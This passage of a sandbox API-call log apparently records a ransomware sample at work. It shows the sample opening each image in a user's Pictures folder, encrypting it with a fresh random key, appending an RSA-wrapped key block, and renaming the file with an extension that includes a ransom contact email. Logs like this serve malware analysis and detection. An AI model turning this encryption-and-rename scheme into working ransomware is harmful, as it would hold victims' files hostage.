hHeap=0x570000) returned 1 [0148.121] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3962830, ftCreationTime.dwHighDateTime=0x1d4c763, ftLastAccessTime.dwLowDateTime=0xdbf6d550, ftLastAccessTime.dwHighDateTime=0x1d4cd0e, ftLastWriteTime.dwLowDateTime=0xdbf6d550, ftLastWriteTime.dwHighDateTime=0x1d4cd0e, nFileSizeHigh=0x0, nFileSizeLow=0x14ae7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="XDXto.gif", cAlternateFileName="")) returned 1 [0148.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0148.121] GetLastError () returned 0x0 [0148.122] SetLastError (dwErrCode=0x0) [0148.122] GetLastError () returned 0x0 [0148.122] SetLastError (dwErrCode=0x0) [0148.122] GetLastError () returned 0x0 [0148.122] SetLastError (dwErrCode=0x0) [0148.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0148.122] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220b94c0, ftCreationTime.dwHighDateTime=0x1d4cd02, ftLastAccessTime.dwLowDateTime=0x9c056510, ftLastAccessTime.dwHighDateTime=0x1d4d074, ftLastWriteTime.dwLowDateTime=0x9c056510, ftLastWriteTime.dwHighDateTime=0x1d4d074, nFileSizeHigh=0x0, nFileSizeLow=0xcfd2, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ypZ6 86QYL-.jpg", cAlternateFileName="YPZ686~1.JPG")) returned 1 [0148.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0148.122] GetLastError () returned 0x0 [0148.122] SetLastError (dwErrCode=0x0) [0148.122] GetLastError () returned 0x0 [0148.122] SetLastError (dwErrCode=0x0) [0148.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0148.122] GetLastError () returned 0x0 [0148.122] SetLastError (dwErrCode=0x0) [0148.122] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f109d30, ftCreationTime.dwHighDateTime=0x1d4d120, ftLastAccessTime.dwLowDateTime=0x619ffde0, ftLastAccessTime.dwHighDateTime=0x1d4cb7e, ftLastWriteTime.dwLowDateTime=0x619ffde0, ftLastWriteTime.dwHighDateTime=0x1d4cb7e, nFileSizeHigh=0x0, nFileSizeLow=0x149ca, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="yX_-bWBg.jpg", cAlternateFileName="")) returned 1 [0148.123] SetLastError (dwErrCode=0x0) [0148.123] GetLastError () returned 0x0 [0148.123] SetLastError (dwErrCode=0x0) [0148.123] SetLastError (dwErrCode=0x0) [0148.123] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c73070, ftCreationTime.dwHighDateTime=0x1d4d48b, ftLastAccessTime.dwLowDateTime=0x87435780, ftLastAccessTime.dwHighDateTime=0x1d4c8aa, ftLastWriteTime.dwLowDateTime=0x87435780, ftLastWriteTime.dwHighDateTime=0x1d4c8aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0f8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zlyGqa755DQtGy.gif", cAlternateFileName="ZLYGQA~1.GIF")) returned 1 [0148.123] SetLastError (dwErrCode=0x0) [0148.123] GetLastError () returned 0x0 [0148.123] SetLastError (dwErrCode=0x0) [0148.123] SetLastError (dwErrCode=0x0) [0148.123] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c73070, ftCreationTime.dwHighDateTime=0x1d4d48b, ftLastAccessTime.dwLowDateTime=0x87435780, ftLastAccessTime.dwHighDateTime=0x1d4c8aa, ftLastWriteTime.dwLowDateTime=0x87435780, ftLastWriteTime.dwHighDateTime=0x1d4c8aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0f8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zlyGqa755DQtGy.gif", cAlternateFileName="ZLYGQA~1.GIF")) returned 0 [0148.123] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.123] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\zlyGqa755DQtGy.gif", dwFileAttributes=0x80) returned 1 [0148.124] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\zlyGqa755DQtGy.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zlygqa755dqtgy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.124] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=53496) returned 1 [0148.124] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xd0f8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xd0f8, lpOverlapped=0x0) returned 1 [0148.126] SetFilePointer (in: hFile=0x600, lDistanceToMove=-53496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.126] WriteFile (in: hFile=0x600, lpBuffer=0x63e998*, nNumberOfBytesToWrite=0xd0f8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63e998*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd0f8, lpOverlapped=0x0) returned 1 [0148.127] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd0f8 [0148.127] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.127] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.127] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.127] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.127] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.127] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.128] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Ro0PXBD6RA9agkMaVrSyRzB4+LZBQBvo8psBmM3fWuF5Xu3qdh24HOylkC0xzsFd\nbaODfdZNLYWT+sowrXStNgZFwyMe9B3gkgnFDevPiQBzs32iZjo/XsvZW+IDk1Jq\nK72Ld6gBS3XwlXkE7llXQ6m6HI6nTW4M38qM7QRvXG8VLWeJKjjFqcGnSgcufKya\notmd9oMPeV7JCEyIikbD8pXAGq0cYQQgeZjt6ZMSmG2L/cXWwkcbDPc35qw4jP3m\nmN7qfC+SLClOBttSuOyre+k5IAaHQ0jl7SNkX150qR/9hOikM6vX2mRIcaXi2Vqm\n/wHqv2qT9jX8MlHZ8eB0Ug==\n", pcchString=0x2e3f9a8) returned 1 [0148.128] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.128] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.128] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.128] CloseHandle (hObject=0x600) returned 1 [0148.128] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.128] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\zlyGqa755DQtGy.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zlygqa755dqtgy.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\zlyGqa755DQtGy.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\zlygqa755dqtgy.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.130] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.130] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.130] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630c68 | out: hHeap=0x570000) returned 1 [0148.130] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631488 | out: hHeap=0x570000) returned 1 [0148.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be370 [0148.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.130] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.130] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\yX_-bWBg.jpg", dwFileAttributes=0x80) returned 1 [0148.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be580 [0148.131] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.131] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be580 | out: hHeap=0x570000) returned 1 [0148.131] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\yX_-bWBg.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\yx_-bwbg.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.131] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=84426) returned 1 [0148.131] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x149ca) returned 0x631898 [0148.131] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x149ca) returned 0x646270 [0148.131] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x149ca, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x149ca, lpOverlapped=0x0) returned 1 [0148.133] SetFilePointer (in: hFile=0x600, lDistanceToMove=-84426, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.134] WriteFile (in: hFile=0x600, lpBuffer=0x646270*, nNumberOfBytesToWrite=0x149ca, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x646270*, lpNumberOfBytesWritten=0x2e3f9b4*=0x149ca, lpOverlapped=0x0) returned 1 [0148.134] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.134] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x646270 | out: hHeap=0x570000) returned 1 [0148.135] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x149ca [0148.135] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.135] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.135] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.135] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.135] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.135] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.135] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="+iHjig0KFDXy8E5FoY7TCuZvS0wKmRH/gxxevBCPYX+38nW2zEzA5LDLFguS5pkn\nBzgjJzCeeVh1oOeiKnP7RoWvynG0aMZEg2iPfBMpxtLkqmyoPTmmRcmQnVS8eSGX\nZDqEYdZjg38azVO4x92Ru/5jyhWjlWy8tP4s6ot7OZehvC75JYk8fluP9spWIo+E\nrMjXF47SoX++fzSgQvP+jriZ9a7XGU0osFFT6jn+1H2P2LNylxh6cIYHKKuT/p6K\nL905tS6YqxhA1RY3gao2I6oVcxgrJSjj5nuMYt/13/uY8Gowdjo8uQGX4WStLtYx\np1OQ0ghNYvBmG+wly5JZkA==\n", pcchString=0x2e3f9a8) returned 1 [0148.135] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.136] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.136] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.136] CloseHandle (hObject=0x600) returned 1 [0148.136] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.136] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\yX_-bWBg.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\yx_-bwbg.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\yX_-bWBg.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\yx_-bwbg.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be370 | out: hHeap=0x570000) returned 1 [0148.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0148.137] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be210 [0148.137] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.137] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.138] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\ypZ6 86QYL-.jpg", dwFileAttributes=0x80) returned 1 [0148.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be268 [0148.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0148.138] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\ypZ6 86QYL-.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ypz6 86qyl-.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.138] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=53202) returned 1 [0148.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xcfd2) returned 0x631898 [0148.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xcfd2) returned 0x63e878 [0148.138] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xcfd2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xcfd2, lpOverlapped=0x0) returned 1 [0148.140] SetFilePointer (in: hFile=0x600, lDistanceToMove=-53202, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.140] WriteFile (in: hFile=0x600, lpBuffer=0x63e878*, nNumberOfBytesToWrite=0xcfd2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63e878*, lpNumberOfBytesWritten=0x2e3f9b4*=0xcfd2, lpOverlapped=0x0) returned 1 [0148.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63e878 | out: hHeap=0x570000) returned 1 [0148.141] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xcfd2 [0148.141] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.141] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.141] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.141] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.142] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.142] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="nRLaBYu5cnkFaXI34m72VJ5bOOtWjcSpE9gKEILezTU9pXwPRZi96b5xG9RdJnN0\n0BYrnghiUSnfClBg+SLXj7rVVm1mKKmLNMWC8d2YEGW9qrFkr0W8rgGpYgbAvDRx\nBt6zU927kVDyu8u4nbYRxEZlZM8ly/NeX0EJIJmnzMIkJ/Y3Z4oR7bPbBaS2LUQj\nfNSAWAVBEyCNoXlDyVFkcd9P0vhBMMi26iBO7INnsNmei8U38d3LMNWbPqDgwIAc\n6G+fYXFPNNHYqDPpVRFjdU1zA1oA1RPqnB8wzRsMO+eitdjh7N3roMLyJHG8nRLQ\nFO6W/0XrSExvTDLOhRGVnw==\n", pcchString=0x2e3f9a8) returned 1 [0148.142] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.142] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.142] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.142] CloseHandle (hObject=0x600) returned 1 [0148.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.142] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\ypZ6 86QYL-.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ypz6 86qyl-.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\ypZ6 86QYL-.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\ypz6 86qyl-.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.144] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.144] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.144] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0148.144] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be528 | out: hHeap=0x570000) returned 1 [0148.144] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be528 [0148.144] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.144] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.144] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\XDXto.gif", dwFileAttributes=0x80) returned 1 [0148.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be210 [0148.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0148.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0148.147] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\XDXto.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\xdxto.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.147] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=84711) returned 1 [0148.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14ae7) returned 0x631898 [0148.148] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14ae7) returned 0x646388 [0148.148] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x14ae7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x14ae7, lpOverlapped=0x0) returned 1 [0148.150] SetFilePointer (in: hFile=0x600, lDistanceToMove=-84711, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.150] WriteFile (in: hFile=0x600, lpBuffer=0x646388*, nNumberOfBytesToWrite=0x14ae7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x646388*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14ae7, lpOverlapped=0x0) returned 1 [0148.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x646388 | out: hHeap=0x570000) returned 1 [0148.152] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14ae7 [0148.152] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.152] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.152] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.152] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.153] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.153] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="5/QyEC37+G2a0d7d15ngngqgXjmMKn7nP5N9thmhj50Y5UOOjICQ1O3yNnl21DBK\ntsbceRAq0K/gi/ZuIcpQeU2Zz1ncad3wO5c4D0bC9C4rPWp4a9UR9SSVN/quxLfD\nJsbK/vFH/2Shs/po8e6f0rZOw6/7GeTGmBxs2YWMRYSLo6/u8a6RweZU2SVYJXYx\n3rGX747KuWzV8Jp4CPMUzq+r3b8awWr+YD7rJSH0D504WyUosbyxTx1vG6bZpsFq\nQur4XVNb9rH6/VzJqiFG0SxVFyhzyyqiay3E1heVNM3fQ2PwYq7g8KVr6hQ6/WvQ\nI6jrZ55xQcI+euimZ7EPZw==\n", pcchString=0x2e3f9a8) returned 1 [0148.153] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.153] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 